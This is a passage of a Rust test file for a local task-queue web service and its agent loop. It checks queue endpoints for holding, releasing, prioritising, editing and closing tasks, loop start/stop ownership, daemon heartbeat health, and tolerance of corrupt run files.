10111 }
10112
10113 #[test]
10114 fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
10115 let v = earlier_pass_view(|_| {});
10116 assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
10117 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10118 assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
10119 assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
10120 assert_eq!(v.exit, RunExit::Interrupted);
10121 assert_eq!(v.attempt, AttemptCost::Unknown);
10122 }
10123
10124 #[test]
10125 fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
10126 let v = earlier_pass_view(|s| {
10127 s.quota.push(crate::run::QuotaLoss {
10128 seat: "judge-1".to_owned(),
10129 node: "judge".to_owned(),
10130 at: Timestamp::now(),
10131 reset: None,
10132 });
10133 });
10134 assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
10135 assert!(v.outcome.contains("unknown"), "{}", v.outcome);
10136 assert_eq!(v.attempt, AttemptCost::Unknown);
10137 }
10138
10139 #[test]
10140 fn the_current_pass_states_its_recorded_cause_and_cost() {
10141 let slot = || RunSlot {
10142 n: 1,
10143 resumed: false,
10144 resumed_later: None,
10145 prior: None,
10146 last: true,
10147 };
10148 let task = flow_task(&["20260902-140501-aaaa"]);
10149 let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
10150 let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
10151 assert_eq!(
10152 (v.exit, v.attempt),
10153 (RunExit::Parked, AttemptCost::Refunded)
10154 );
10155 let spent = flow_run(RunStatus::Blocked, |_| {});
10156 let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
10157 assert_eq!(v.attempt, AttemptCost::Spent);
10158 assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
10159 }
10160
10161 #[tokio::test]
10162 async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
10163 let f = Fixture::start().await;
10164 let queue = f.queue();
10165 let mut task = Task::new(
10166 "spent".to_owned(),
10167 "Try again".to_owned(),
10168 PathBuf::from("/repo/magi"),
10169 Source::Human,
10170 );
10171 task.start("20260902-140502-bbbb".to_owned());
10172 task.fail("agent gave up", 9);
10173 queue.put(&mut task).expect("file the task");
10174
10175 let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10176 assert_eq!(held.status, 200);
10177 assert_eq!(held.json()["status_str"], "held");
10178
10179 let released = f
10180 .post(&format!("/api/queue/{}/release", task.id), None)
10181 .await;
10182 assert_eq!(released.status, 200);
10183 assert_eq!(released.json()["status_str"], "queued");
10184 assert_eq!(
10185 released.json()["attempts"],
10186 0,
10187 "release is a real second chance, not an instant re-hold"
10188 );
10189 assert_eq!(
10190 queue.get(&task.id).expect("reload").status,
10191 TaskStatus::Queued,
10192 "the change is on disk, not only in the reply"
10193 );
10194 assert!(
10195 !f.home
10196 .path()
10197 .join("queue")
10198 .join(format!("{}.lock", task.id))
10199 .exists(),
10200 "the claim the mutation took is released again"
10201 );
10202 }
10203
10204 #[tokio::test]
10205 async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
10206 let f = Fixture::start().await;
10207 let queue = f.queue();
10208 let mut task = Task::new(
10209 "busy".to_owned(),
10210 "Running right now".to_owned(),
10211 PathBuf::from("/repo/magi"),
10212 Source::Human,
10213 );
10214 queue.put(&mut task).expect("file the task");
10215 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10216
10217 let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
10218
10219 assert_eq!(res.status, 409);
10220 assert_eq!(
10221 queue.get(&task.id).expect("reload").status,
10222 TaskStatus::Queued,
10223 "the refused hold changed nothing"
10224 );
10225 }
10226
10227 #[tokio::test]
10228 async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
10229 let f = Fixture::start().await;
10230 let queue = f.queue();
10231 let mut task = Task::new(
10232 "waiting on the migration".to_owned(),
10233 "Do the thing".to_owned(),
10234 PathBuf::from("/repo/magi"),
10235 Source::Human,
10236 );
10237 queue.put(&mut task).expect("file the task");
10238
10239 let held = f
10240 .post(
10241 &format!("/api/queue/{}/hold", task.id),
10242 Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
10243 )
10244 .await;
10245 assert_eq!(held.status, 200, "{}", held.body);
10246 assert_eq!(held.json()["status_str"], "held");
10247 assert_eq!(
10248 held.json()["hold_reason"],
10249 "waiting for 20260101-000000-aaaa to land"
10250 );
10251
10252 let listed = f.get("/api/queue").await.json();
10253 assert_eq!(
10254 listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
10255 "the card reads the reason off the same list route"
10256 );
10257
10258 let mut plain = Task::new(
10261 "no reason given".to_owned(),
10262 "Do another thing".to_owned(),
10263 PathBuf::from("/repo/magi"),
10264 Source::Human,
10265 );
10266 queue.put(&mut plain).expect("file the task");
10267 let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
10268 assert_eq!(held_plain.status, 200, "{}", held_plain.body);
10269 assert!(held_plain.json()["hold_reason"].is_null());
10270
10271 let released = f
10272 .post(&format!("/api/queue/{}/release", task.id), None)
10273 .await;
10274 assert_eq!(released.status, 200);
10275 assert!(
10276 released.json()["hold_reason"].is_null(),
10277 "a release must clear the reason so the next hold does not inherit it"
10278 );
10279 }
10280
10281 #[tokio::test]
10282 async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
10283 let f = Fixture::start().await;
10284 let queue = f.queue();
10285 let mut older = Task::new(
10286 "filed first".to_owned(),
10287 "x".to_owned(),
10288 PathBuf::from("/repo/magi"),
10289 Source::Human,
10290 );
10291 older.id = "20260101-000001-aaaa".to_owned();
10292 let mut newer = Task::new(
10293 "filed second".to_owned(),
10294 "x".to_owned(),
10295 PathBuf::from("/repo/magi"),
10296 Source::Human,
10297 );
10298 newer.id = "20260101-000002-bbbb".to_owned();
10299 queue.put(&mut older).expect("file older");
10300 queue.put(&mut newer).expect("file newer");
10301
10302 let before = f.get("/api/queue").await.json();
10305 assert_eq!(before[0]["id"], newer.id);
10306 assert_eq!(before[1]["id"], older.id);
10307
10308 let raised = f
10312 .post(
10313 &format!("/api/queue/{}/priority", older.id),
10314 Some(r#"{"priority":10}"#),
10315 )
10316 .await;
10317 assert_eq!(raised.status, 200, "{}", raised.body);
10318 assert_eq!(raised.json()["priority"], 10);
10319
10320 let after = f.get("/api/queue").await.json();
10321 let names: Vec<&str> = after
10322 .as_array()
10323 .unwrap()
10324 .iter()
10325 .map(|t| t["id"].as_str().unwrap())
10326 .collect();
10327 assert_eq!(names[0], older.id, "the raised task now sorts first");
10331 }
10332
10333 #[tokio::test]
10334 async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
10335 let f = Fixture::start().await;
10336 let queue = f.queue();
10337 let mut task = Task::new(
10338 "in flight".to_owned(),
10339 "x".to_owned(),
10340 PathBuf::from("/repo/magi"),
10341 Source::Human,
10342 );
10343 task.start("20260902-140502-bbbb".to_owned());
10344 queue.put(&mut task).expect("file the task");
10345
10346 let res = f
10347 .post(
10348 &format!("/api/queue/{}/priority", task.id),
10349 Some(r#"{"priority":9}"#),
10350 )
10351 .await;
10352 assert_eq!(res.status, 400, "{}", res.body);
10353 assert!(
10354 res.json()["error"]
10355 .as_str()
10356 .is_some_and(|e| e.contains("running")),
10357 "{}",
10358 res.body
10359 );
10360 assert_eq!(
10361 queue.get(&task.id).expect("reload").priority,
10362 0,
10363 "the refused write must not partially apply"
10364 );
10365 }
10366
10367 #[tokio::test]
10368 async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
10369 let f = Fixture::start().await;
10370 let queue = f.queue();
10371 let mut task = Task::new(
10372 "old title".to_owned(),
10373 "old instruction".to_owned(),
10374 PathBuf::from("/repo/magi"),
10375 Source::Agent {
10376 run: "20260101-000000-beef".to_owned(),
10377 node: "implement".to_owned(),
10378 },
10379 );
10380 task.runs.push("20260101-000000-beef".to_owned());
10381 queue.put(&mut task).expect("file the task");
10382 let created_at = task.created_at;
10383
10384 let edited = f
10385 .post(
10386 &format!("/api/queue/{}/edit", task.id),
10387 Some(r#"{"title":"new title","instruction":"new instruction"}"#),
10388 )
10389 .await;
10390 assert_eq!(edited.status, 200, "{}", edited.body);
10391 let body = edited.json();
10392 assert_eq!(body["title"], "new title");
10393 assert_eq!(body["instruction"], "new instruction");
10394 assert_eq!(body["id"], task.id, "editing must not mint a new id");
10395 assert_eq!(body["created_at"], created_at.to_string());
10396 assert_eq!(
10397 body["source"]["kind"], "agent",
10398 "editing a task an agent filed must not turn it human: {body}"
10399 );
10400 assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
10401
10402 let reloaded = queue.get(&task.id).expect("reload");
10403 assert_eq!(reloaded.title, "new title");
10404 assert_eq!(reloaded.instruction, "new instruction");
10405 }
10406
10407 #[tokio::test]
10408 async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
10409 let tmp = TempDir::new().expect("tempdir");
10412 let repo = tmp.path().join("repo");
10413 std::fs::create_dir_all(&repo).expect("repo dir");
10414 let judge = MOCK_AGENT_TOML.replace(
10415 "printf ok",
10416 r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
10417 );
10418 std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
10419 let f = Fixture::with_repo(repo.clone()).await;
10420 let queue = f.queue();
10421 let mut owner = Task::new(
10422 "owner".to_owned(),
10423 "review it".to_owned(),
10424 repo.clone(),
10425 Source::Human,
10426 );
10427 owner.review_branch = Some("magi/ab12/A".to_owned());
10428 queue.put(&mut owner).expect("file the owner");
10429 let mut task = Task::new(
10430 "draft".to_owned(),
10431 "old".to_owned(),
10432 repo.clone(),
10433 Source::Human,
10434 );
10435 queue.put(&mut task).expect("file the draft");
10436 let url = format!("/api/queue/{}/edit", task.id);
10437
10438 let refused = f
10439 .post(
10440 &url,
10441 Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
10442 )
10443 .await;
10444 assert_eq!(refused.status, 409, "{}", refused.body);
10445 let msg = refused.json()["error"]
10446 .as_str()
10447 .unwrap_or_default()
10448 .to_owned();
10449 assert!(
10450 msg.contains("magi/ab12/A") && msg.contains("force"),
10451 "{msg}"
10452 );
10453 assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
10454
10455 let forced = f
10456 .post(
10457 &url,
10458 Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
10459 )
10460 .await;
10461 assert_eq!(forced.status, 200, "{}", forced.body);
10462 }
10463
10464 #[tokio::test]
10465 async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
10466 let f = Fixture::start().await;
10467 let queue = f.queue();
10468 let mut task = Task::new(
10469 "in flight".to_owned(),
10470 "do not touch".to_owned(),
10471 PathBuf::from("/repo/magi"),
10472 Source::Human,
10473 );
10474 task.start("20260902-140502-bbbb".to_owned());
10475 queue.put(&mut task).expect("file the task");
10476
10477 let res = f
10478 .post(
10479 &format!("/api/queue/{}/edit", task.id),
10480 Some(r#"{"title":"x","instruction":"y"}"#),
10481 )
10482 .await;
10483 assert_eq!(res.status, 400, "{}", res.body);
10484 assert!(
10485 res.json()["error"]
10486 .as_str()
10487 .is_some_and(|e| e.contains("running")),
10488 "{}",
10489 res.body
10490 );
10491 assert_eq!(
10492 queue.get(&task.id).expect("reload").instruction,
10493 "do not touch",
10494 "the refused edit must not change the file"
10495 );
10496 }
10497
10498 #[tokio::test]
10499 async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
10500 let f = Fixture::start().await;
10501 let queue = f.queue();
10502 let mut task = Task::new(
10503 "busy".to_owned(),
10504 "Running right now".to_owned(),
10505 PathBuf::from("/repo/magi"),
10506 Source::Human,
10507 );
10508 queue.put(&mut task).expect("file the task");
10509 let _claim = queue.claim(&task.id).expect("stand in for the daemon");
10510
10511 let priority = f
10512 .post(
10513 &format!("/api/queue/{}/priority", task.id),
10514 Some(r#"{"priority":9}"#),
10515 )
10516 .await;
10517 assert_eq!(priority.status, 409, "{}", priority.body);
10518
10519 let edit = f
10520 .post(
10521 &format!("/api/queue/{}/edit", task.id),
10522 Some(r#"{"title":"x","instruction":"y"}"#),
10523 )
10524 .await;
10525 assert_eq!(edit.status, 409, "{}", edit.body);
10526 }
10527
10528 #[tokio::test]
10529 async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
10530 let f = Fixture::start().await;
10531 let queue = f.queue();
10532 let mut task = Task::new(
10533 "shipped by hand".to_owned(),
10534 "merged outside the loop".to_owned(),
10535 PathBuf::from("/repo/magi"),
10536 Source::Agent {
10537 run: "20260101-000000-b455".to_owned(),
10538 node: "implement".to_owned(),
10539 },
10540 );
10541 task.runs.push("20260101-000000-b455".to_owned());
10542 task.runs.push("20260101-000000-9af4".to_owned());
10543 queue.put(&mut task).expect("file the task");
10544 let created_at = task.created_at;
10545
10546 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10547 assert_eq!(done.status, 200, "{}", done.body);
10548 assert_eq!(done.json()["status_str"], "done");
10549
10550 let reloaded = queue.get(&task.id).expect("a done task is still on disk");
10551 assert_eq!(
10552 reloaded.runs,
10553 ["20260101-000000-b455", "20260101-000000-9af4"]
10554 );
10555 assert_eq!(
10556 reloaded.source,
10557 Source::Agent {
10558 run: "20260101-000000-b455".to_owned(),
10559 node: "implement".to_owned(),
10560 }
10561 );
10562 assert_eq!(reloaded.created_at, created_at);
10563 }
10564
10565 #[tokio::test]
10566 async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
10567 let f = Fixture::start().await;
10572 let queue = f.queue();
10573 let mut task = Task::new(
10574 "landed while held".to_owned(),
10575 "x".to_owned(),
10576 PathBuf::from("/repo/magi"),
10577 Source::Human,
10578 );
10579 task.hold_manual(Some("waiting on 3ed9".to_owned()));
10580 queue.put(&mut task).expect("file the held task");
10581
10582 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10583 assert_eq!(done.status, 200, "{}", done.body);
10584 assert_eq!(done.json()["status_str"], "done");
10585 assert!(
10586 done.json()["hold_reason"].is_null(),
10587 "a done task cannot still be waiting on something: {}",
10588 done.body
10589 );
10590 }
10591
10592 #[tokio::test]
10593 async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
10594 let f = Fixture::start().await;
10599 let queue = f.queue();
10600 let runs = f.runs();
10601 write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
10602 write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
10606
10607 let mut task = Task::new(
10608 "landed by hand".to_owned(),
10609 "x".to_owned(),
10610 PathBuf::from("/repo/magi"),
10611 Source::Human,
10612 );
10613 task.runs.push("20260101-000000-doa1".to_owned());
10614 task.runs.push("20260101-000000-doa2".to_owned());
10615 queue.put(&mut task).expect("file the task");
10616
10617 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10618 assert_eq!(done.status, 200, "{}", done.body);
10619
10620 let reloaded_run = read_run(&runs, "20260101-000000-doa1")
10621 .expect("run still on disk under this fixture's own home");
10622 assert_eq!(
10623 reloaded_run.status,
10624 RunStatus::Superseded,
10625 "closing the task by hand must relabel the earlier blocked attempt exactly \
10626 like the loop's own settle path does"
10627 );
10628 }
10629
10630 #[tokio::test]
10631 async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
10632 let f = Fixture::start().await;
10637 let queue = f.queue();
10638 let runs = f.runs();
10639 write_run(&runs, "20260101-000000-dob1", RunStatus::Blocked);
10640 write_run(&runs, "20260101-000000-dob2", RunStatus::Failed);
10641
10642 let mut task = Task::new(
10643 "closed with nothing actually landed".to_owned(),
10644 "x".to_owned(),
10645 PathBuf::from("/repo/magi"),
10646 Source::Human,
10647 );
10648 task.runs.push("20260101-000000-dob1".to_owned());
10649 task.runs.push("20260101-000000-dob2".to_owned());
10650 queue.put(&mut task).expect("file the task");
10651
10652 let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
10653 assert_eq!(done.status, 200, "{}", done.body);
10654
10655 let reloaded_run = read_run(&runs, "20260101-000000-dob1")
10656 .expect("run still on disk under this fixture's own home");
10657 assert_eq!(
10658 reloaded_run.status,
10659 RunStatus::Blocked,
10660 "the last recorded attempt never landed, so the earlier one must not be \
10661 relabelled as superseded by it"
10662 );
10663 }
10664
10665 #[tokio::test]
10666 async fn unknown_ids_are_json_not_found_on_both_stores() {
10667 let f = Fixture::start().await;
10668
10669 let run = f.get("/api/runs/nosuchrun").await;
10670 let task = f.post("/api/queue/nosuchtask/hold", None).await;
10671
10672 assert_eq!(run.status, 404);
10673 assert_eq!(task.status, 404);
10674 assert!(
10675 run.json()["error"]
10676 .as_str()
10677 .is_some_and(|e| e.contains("run")),
10678 "the error names what was not found: {}",
10679 run.body
10680 );
10681 assert!(
10682 task.json()["error"]
10683 .as_str()
10684 .is_some_and(|e| e.contains("task")),
10685 "the error names what was not found: {}",
10686 task.body
10687 );
10688 }
10689
10690 #[tokio::test]
10691 async fn the_daemon_counts_as_running_only_while_its_heartbeat_is_fresh() {
10692 let f = Fixture::start().await;
10693
10694 let missing = f.get("/api/health").await.json();
10695 assert_eq!(missing["daemon"]["running"], false, "no file, no daemon");
10696
10697 write_daemon(
10698 f.home.path(),
10699 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10700 );
10701 let stale = f.get("/api/health").await.json();
10702 assert_eq!(
10703 stale["daemon"]["running"], false,
10704 "a minute without a heartbeat is a dead daemon, not a busy one"
10705 );
10706 assert!(
10707 stale["daemon"]["stale_for_secs"]
10708 .as_i64()
10709 .is_some_and(|s| s >= 55),
10710 "staleness is reported so the UI can say how long: {stale}"
10711 );
10712
10713 write_daemon(f.home.path(), Timestamp::now());
10714 let fresh = f.get("/api/health").await.json();
10715 assert_eq!(fresh["daemon"]["running"], true);
10716 assert_eq!(fresh["daemon"]["idle"], false);
10717 assert_eq!(fresh["daemon"]["pid"], 4242);
10718 assert_eq!(fresh["daemon"]["completed"], 7);
10719 assert_eq!(
10720 fresh["daemon"]["current"][0]["task"],
10721 "20260902-140501-aaaa"
10722 );
10723 assert_eq!(fresh["version"], env!("CARGO_PKG_VERSION"));
10724 }
10725
10726 #[tokio::test]
10727 async fn the_loop_is_not_running_until_something_starts_it() {
10728 let f = Fixture::start().await;
10729
10730 let view = f.get("/api/loop").await.json();
10731 assert_eq!(view["running"], false);
10732 assert_eq!(
10733 view["owned"], false,
10734 "nobody owns a loop that does not exist: {view}"
10735 );
10736 assert_eq!(view["stopping"], false);
10737 assert_eq!(view["last_error"], Value::Null);
10738 assert_eq!(view["daemon"]["running"], false);
10739 assert_eq!(
10740 view["repo"], "/repo/magi",
10741 "the repository a start would use, named before it is started"
10742 );
10743 }
10744
10745 #[tokio::test]
10746 async fn starting_the_loop_runs_it_in_this_process_and_health_says_the_same() {
10747 let f = Fixture::start().await;
10748
10749 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10750 assert_eq!(res.status, 200, "{}", res.body);
10751 let view = res.json();
10752 assert_eq!(view["running"], true);
10753 assert_eq!(
10754 view["owned"], true,
10755 "the loop the UI started is the UI's own to stop: {view}"
10756 );
10757 assert_eq!(
10758 view["merge"],
10759 Value::Null,
10760 "no override was given, so each repository's own config decides"
10761 );
10762
10763 let health = f.get("/api/health").await.json();
10767 assert_eq!(health["loop"]["running"], true, "{health}");
10768 assert_eq!(health["loop"]["owned"], true, "{health}");
10769
10770 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10771 }
10772
10773 #[tokio::test]
10774 async fn a_second_start_is_refused_rather_than_racing_the_first_for_claims() {
10775 let f = Fixture::start().await;
10776 let first = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10777 assert_eq!(first.status, 200, "{}", first.body);
10778
10779 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10780 assert_eq!(
10781 again.status, 409,
10782 "two loops on one queue race for the same claims: {}",
10783 again.body
10784 );
10785 assert!(
10786 again.json()["error"]
10787 .as_str()
10788 .is_some_and(|e| e.contains("already running the loop")),
10789 "the refusal has to say why: {}",
10790 again.body
10791 );
10792 assert_eq!(
10793 f.get("/api/loop").await.json()["running"],
10794 true,
10795 "and the loop that was already running is untouched by it"
10796 );
10797
10798 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10799 }
10800
10801 #[tokio::test]
10802 async fn stopping_answers_at_once_and_the_loop_settles_stopped() {
10803 let f = Fixture::start().await;
10804 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10805
10806 let res = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10807 assert_eq!(
10808 res.status, 200,
10809 "the answer must not wait for the loop: a run in flight is tens of \
10810 minutes and the operator is holding a phone: {}",
10811 res.body
10812 );
10813
10814 let view = settled(&f, |v| v["running"] == false).await;
10815 assert_eq!(view["owned"], false);
10816 assert_eq!(
10817 view["stopping"], false,
10818 "a loop that has stopped is not still stopping: {view}"
10819 );
10820 assert_eq!(
10821 view["last_error"],
10822 Value::Null,
10823 "a loop that was asked to stop did not fail: {view}"
10824 );
10825
10826 let twice = f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10829 assert_eq!(twice.status, 200, "{}", twice.body);
10830 }
10831
10832 #[tokio::test]
10833 async fn a_loop_another_process_owns_can_be_neither_started_nor_stopped_here() {
10834 let f = Fixture::start().await;
10835 write_daemon(f.home.path(), Timestamp::now());
10838
10839 let view = f.get("/api/loop").await.json();
10840 assert_eq!(view["running"], false, "not in this process: {view}");
10841 assert_eq!(view["owned"], false, "and not this process's to control");
10842 assert_eq!(
10843 view["daemon"]["running"], true,
10844 "but a loop is alive somewhere, which is what the UI must say"
10845 );
10846 assert_eq!(view["daemon"]["pid"], 4242);
10847
10848 for body in [r#"{"running":true}"#, r#"{"running":false}"#] {
10849 let res = f.post("/api/loop", Some(body)).await;
10850 assert_eq!(
10851 res.status, 409,
10852 "neither button may pretend to work on someone else's loop: {}",
10853 res.body
10854 );
10855 assert!(
10856 res.json()["error"]
10857 .as_str()
10858 .is_some_and(|e| e.contains("4242")),
10859 "the refusal has to name the process the operator must go to: {}",
10860 res.body
10861 );
10862 }
10863 assert_eq!(
10864 f.get("/api/loop").await.json()["running"],
10865 false,
10866 "and the refusal started nothing"
10867 );
10868 }
10869
10870 #[tokio::test]
10871 async fn a_stale_status_file_is_not_a_foreign_owner() {
10872 let f = Fixture::start().await;
10873 write_daemon(
10874 f.home.path(),
10875 Timestamp::now() - jiff::SignedDuration::from_secs(60),
10876 );
10877
10878 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10879 assert_eq!(
10880 res.status, 200,
10881 "a daemon killed a minute ago must not lock the loop out of its \
10882 own home for good: {}",
10883 res.body
10884 );
10885 assert_eq!(res.json()["running"], true);
10886
10887 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10888 }
10889
10890 #[tokio::test]
10891 async fn loop_rev_moves_on_a_start_so_a_phone_learns_without_polling() {
10892 let f = Fixture::start().await;
10893 let before = f.get("/api/health").await.json()["loop_rev"]
10894 .as_u64()
10895 .expect("a loop revision");
10896
10897 f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10898
10899 let after = f.get("/api/health").await.json()["loop_rev"]
10900 .as_u64()
10901 .expect("a loop revision");
10902 assert!(
10903 after > before,
10904 "the loop is in-process state, so this counter is the only thing \
10905 that tells a second device the first one started it: {before} -> \
10906 {after}"
10907 );
10908
10909 f.post("/api/loop", Some(r#"{"running":false}"#)).await;
10910 }
10911
10912 #[tokio::test]
10913 async fn a_loop_that_failed_says_why_and_does_not_read_as_running() {
10914 let f = Fixture::with_loop(launch_broken).await;
10915
10916 let res = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10917 assert_eq!(
10918 res.status, 200,
10919 "starting it is not the failure: {}",
10920 res.body
10921 );
10922
10923 let view = settled(&f, |v| v["last_error"].is_string()).await;
10924 assert_eq!(
10925 view["running"], false,
10926 "a loop that died must not read as running, or the operator has \
10927 nothing to press: {view}"
10928 );
10929 assert_eq!(view["owned"], false);
10930 assert!(
10931 view["last_error"]
10932 .as_str()
10933 .is_some_and(|e| e.contains("read-only file system")),
10934 "the phone is where a loop that died at 3am is visible: {view}"
10935 );
10936
10937 let again = f.post("/api/loop", Some(r#"{"running":true}"#)).await;
10940 assert_eq!(again.status, 200, "{}", again.body);
10941 assert!(
10942 again.json()["last_error"]
10943 .as_str()
10944 .is_none_or(|e| !e.contains("read-only file system")),
10945 "a fresh start does not keep showing why the last one died: {}",
10946 again.body
10947 );
10948 }
10949
10950 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
10962 async fn the_deck_answers_while_it_parks_and_frees_the_address_first() {
10963 let home = TempDir::new().expect("temp home");
10964 let runs = home.path().join("runs");
10965 std::fs::create_dir_all(&runs).expect("runs dir");
10966 let ui = Ui::new(
10967 Queue::at(home.path().join("queue")),
10968 Questions::at(home.path().join("questions")),
10969 Talks::at(home.path().join("talks")),
10970 runs,
10971 home.path().to_path_buf(),
10972 PathBuf::from("/repo/magi"),
10973 )
10974 .with_worktrees_root(home.path().join("wt"))
10975 .with_launch(launch_knocking_on_the_way_out);
10976 let looping = ui.looping();
10977 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
10978 .await
10979 .expect("bind loopback");
10980 let addr = listener.local_addr().expect("local addr");
10981 *PARK_KNOCK.lock().expect("park knock") = Some(addr);
10982 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
10983
10984 let started = request(addr, "POST", "/api/loop", Some(r#"{"running":true}"#)).await;
10985 assert_eq!(started.status, 200, "the loop starts: {}", started.body);
10986
10987 let bound = std::sync::Mutex::new(None);
11002 hand_over(home.path(), &looping, served, |_| {
11003 let deadline = std::time::Instant::now() + std::time::Duration::from_secs(5);
11004 let attempt = loop {
11005 match std::net::TcpListener::bind(addr) {
11006 Ok(l) => {
11007 drop(l);
11008 break Ok(());
11009 }
11010 Err(e)
11011 if e.kind() == std::io::ErrorKind::AddrInUse
11012 && std::time::Instant::now() < deadline =>
11013 {
11014 std::thread::sleep(std::time::Duration::from_millis(10));
11015 }
11016 Err(e) => break Err(e.to_string()),
11017 }
11018 };
11019 *bound.lock().expect("bound") = Some(attempt);
11020 Ok(1)
11021 })
11022 .await
11023 .expect("hand over");
11024
11025 assert_eq!(
11026 *PARK_HEARD.lock().expect("park heard"),
11027 Some(200),
11028 "the deck must answer while the loop is parking"
11029 );
11030 let attempt = bound
11031 .lock()
11032 .expect("bound")
11033 .take()
11034 .expect("the successor was started");
11035 assert!(
11036 attempt.is_ok(),
11037 "and the address must be free by the time it is: {attempt:?}"
11038 );
11039 }
11040
11041 #[tokio::test]
11042 async fn a_newer_daemon_status_file_still_renders() {
11043 let f = Fixture::start().await;
11044 std::fs::write(
11047 f.home.path().join("daemon.json"),
11048 serde_json::json!({
11049 "schema": 2,
11050 "updated_at": Timestamp::now().to_string(),
11051 "idle": true,
11052 "surprise": { "nested": [1, 2, 3] },
11053 })
11054 .to_string(),
11055 )
11056 .expect("write daemon.json");
11057
11058 let health = f.get("/api/health").await;
11059
11060 assert_eq!(health.status, 200);
11061 assert_eq!(health.json()["daemon"]["running"], true);
11062 }
11063
11064 #[tokio::test]
11065 async fn a_corrupt_run_is_skipped_in_the_list_and_explained_on_its_own_route() {
11066 let f = Fixture::start().await;
11067 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
11068 let broken = f.runs().join("20260902-140502-bad");
11069 std::fs::create_dir_all(&broken).expect("run dir");
11070 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
11071
11072 let list = f.get("/api/runs").await;
11073 let detail = f.get("/api/runs/20260902-140502-bad").await;
11074
11075 assert_eq!(list.status, 200);
11076 let listed = list.json();
11077 let ids: Vec<&str> = listed
11078 .as_array()
11079 .expect("an array")
11080 .iter()
11081 .map(|r| r["id"].as_str().expect("an id"))
11082 .collect();
11083 assert_eq!(
11084 ids,
11085 vec!["20260902-140501-good"],
11086 "one unreadable run must not cost the operator the whole history"
11087 );
11088 assert_eq!(detail.status, 500);
11089 assert!(
11090 detail.json()["error"]
11091 .as_str()
11092 .is_some_and(|e| e.contains("run.json")),
11093 "the failure names the file to look at: {}",
11094 detail.body
11095 );
11096 let health = f.get("/api/health").await;
11100 assert_eq!(health.json()["runs_unreadable"], 1);
11101 }
11102
11103 #[tokio::test]
11105 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
11106 let f = Fixture::start().await;
11107 let runs = f.runs();
11108 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
11109 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
11110 let path = runs.join("20260902-140502-bbbb").join("run.json");
11113 let mut v: serde_json::Value =
11114 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
11115 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
11116 std::fs::write(&path, v.to_string()).unwrap();
11117 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
11118 std::fs::write(
11119 runs.join("20260902-140503-cccc").join("run.json"),
11120 "{ not json",
11121 )
11122 .unwrap();
11123
11124 let res = f.get("/api/search?scope=runs&q=quokka").await;
11125 assert_eq!(res.status, 200, "{}", res.body);
11126 let v = res.json();
11127 assert_eq!(v["total"], 1, "{v}");
11128 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
11129 assert_eq!(v["hits"][0]["field"], "text");
11130 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
